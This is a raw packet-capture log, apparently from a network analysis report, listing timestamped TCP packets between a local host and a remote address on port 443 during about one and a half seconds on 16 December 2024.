Dec 16, 2024 21:02:20.283308029 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.283340931 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.283377886 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.283391953 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.283421993 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.283442974 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.290812016 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.290832996 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.290889025 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.290903091 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.290930986 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.290951014 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.441063881 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.441088915 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.441137075 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.441160917 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.441188097 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.441242933 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.448301077 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.448321104 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.448363066 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.448374987 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.448402882 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.448421955 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.454766989 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.454786062 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.454830885 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.454843044 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.454871893 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.454891920 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.462444067 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.462462902 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.462502956 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.462513924 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.462538958 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.462558985 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.469532967 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.469558954 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.469600916 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.469611883 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.469692945 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.476440907 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.476459980 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.476505995 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.476516962 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.476541996 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.476561069 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.483865976 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.483885050 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.483932972 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.483942986 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.483972073 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.484003067 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.490319014 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.490336895 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.490408897 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.490422964 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.490537882 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.642920971 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.642944098 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.643023014 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.643078089 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.643115044 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.643138885 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.649764061 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.649782896 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.649822950 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.649873972 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.649885893 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.649930954 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.656301022 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.656321049 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.656516075 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.656531096 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.656940937 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.663738966 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.663758039 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.663820028 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.663832903 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.663968086 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.671108961 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.671128035 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.671173096 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.671185017 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.671215057 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.671235085 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.678139925 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.678163052 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.678210020 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.678220987 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.678247929 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.678271055 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.685431957 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.685450077 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.685504913 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.685517073 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.685540915 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.685604095 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.691948891 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.691967010 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.692027092 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.692039013 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.692064047 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.692080021 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.835097075 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.835119009 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.835196972 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.835196972 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.835235119 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.835278988 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.842482090 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.842500925 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.842583895 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.842600107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.842693090 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.848881006 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.848901033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.848948002 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.848961115 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.848989010 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.849009037 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.856232882 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.856251001 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.856301069 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.856314898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.856338978 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.856492996 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.863588095 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.863612890 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.863666058 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.863679886 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.863707066 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.863723993 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.870709896 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.870728970 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.870770931 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.870784998 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.870810986 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.870834112 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.877947092 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.877965927 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.878015995 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.878027916 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.878055096 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.878093958 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.885329962 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.885349989 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.885396004 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.885407925 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.885433912 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.885452986 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.027179956 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.027206898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.027266026 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.027291059 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.027334929 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.027371883 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.034519911 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.034539938 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.034585953 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.034599066 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.034632921 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.034632921 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.041960001 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.041977882 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.042036057 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.042048931 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.042076111 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.042117119 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.048521996 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.048540115 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.048593044 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.048604965 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.048636913 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.048656940 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.055782080 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.055799961 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.055852890 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.055865049 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.055891037 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.055910110 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.062841892 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.062860966 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.062912941 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.062943935 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.062969923 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.063024044 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.070363045 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.070380926 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.070436001 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.070447922 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.070476055 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.070492983 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.077485085 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.077505112 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.077552080 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.077564001 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.077590942 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.077660084 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.219775915 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.219795942 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.219851971 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.219896078 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.219928026 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.220115900 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.227190971 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.227209091 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.227264881 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.227288008 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.227339983 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.227339983 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.235095978 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.235116005 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.235162020 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.235173941 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.235199928 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.235249043 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.240998030 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.241015911 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.241072893 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.241082907 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.241111040 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.241128922 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.251171112 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.251188993 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.251245022 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.251255989 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.251282930 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.251302004 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.255716085 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.255734921 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.255778074 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.255789995 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.255816936 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.255835056 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.262821913 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.262840033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.262881994 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.262892962 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.262943029 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.262943029 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.269510031 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.269527912 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.269599915 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.269612074 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.269663095 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.269813061 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.473297119 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.473355055 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.473393917 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.473421097 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.473449945 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.473467112 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.480669022 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.480729103 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.480745077 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.480756998 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.480782986 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.480802059 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.488056898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.488105059 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.488130093 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.488142967 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.488190889 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.488190889 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.494424105 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.494467020 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.494496107 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.494505882 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.494532108 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.494549990 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.502410889 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.502454996 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.502482891 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.502494097 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.502521992 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.502541065 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.508812904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.508853912 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.509049892 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.509063005 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.509116888 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.516292095 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.516334057 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.516366959 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.516377926 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.516428947 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.516428947 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.523452044 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.523490906 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.523505926 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.523546934 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.523557901 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.523607016 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.647130966 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.647177935 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.647244930 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.647268057 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.647294998 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.647402048 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.654526949 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.654572010 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.654659986 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.654678106 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.656507015 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.661775112 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.661818981 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.661849976 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.661863089 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.661894083 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.661912918 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.668247938 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.668288946 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.668320894 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.668334007 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.668361902 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.668378115 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.676130056 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.676175117 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.676223040 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.676237106 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.676259995 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.676328897 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.682688951 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.682730913 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.682765007 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.682776928 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.682801962 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.682823896 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.690021038 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.690062046 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.690087080 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.690098047 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.690125942 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.690145969 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.697364092 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.697403908 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.697432041 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.697443008 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.697467089 CET	49774	443	192.168.2.4	104.21.12.184
